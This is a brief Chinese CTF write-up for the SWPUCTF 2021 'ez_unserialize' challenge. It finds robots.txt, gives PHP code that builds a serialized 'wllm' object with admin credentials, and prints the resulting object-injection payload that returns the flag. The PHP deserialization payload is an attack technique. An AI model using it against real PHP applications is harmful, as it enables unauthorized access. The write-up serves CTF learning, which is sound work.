php_unserialize_sample_ctf_questions(ing)
[SWPUCTF 2021 新生赛]ez_unserialize
进入题目,扫描目录,发现robots.txt
访问
构造序列化
<?php
class wllm
{
public $admin = 'admin' ;
public $passwd = 'ctf';
}
$p = new wllm ;
$str = serialize($p);
echo $str ;
echo urlencode($str)
?>
得到payload
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
获得flag